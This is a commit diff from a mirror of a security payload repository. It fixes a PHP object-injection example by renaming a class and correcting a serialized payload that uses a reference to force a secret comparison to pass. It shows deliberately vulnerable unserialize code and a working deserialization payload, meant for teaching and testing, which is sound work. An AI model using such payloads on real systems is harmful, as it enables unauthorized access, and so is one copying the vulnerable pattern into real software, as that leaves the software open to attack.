mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-06 08:54:40 +01:00
Update PHP.md
Fixed the payload (was not working because guess is size 5 instead of 4. Changed the name of Object to ObjectExample because Object class name is reserved
This commit is contained in:
parent
cbb2137f3b
commit
f8ab0ca3bb
1 changed files with 2 additions and 2 deletions
|
|
@ -88,7 +88,7 @@ Vulnerable code:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class Object
|
class ObjectExample
|
||||||
{
|
{
|
||||||
var $guess;
|
var $guess;
|
||||||
var $secretCode;
|
var $secretCode;
|
||||||
|
|
@ -108,7 +108,7 @@ if($obj) {
|
||||||
Payload:
|
Payload:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
|
O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
|
||||||
```
|
```
|
||||||
|
|
||||||
We can do an array like this:
|
We can do an array like this:
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue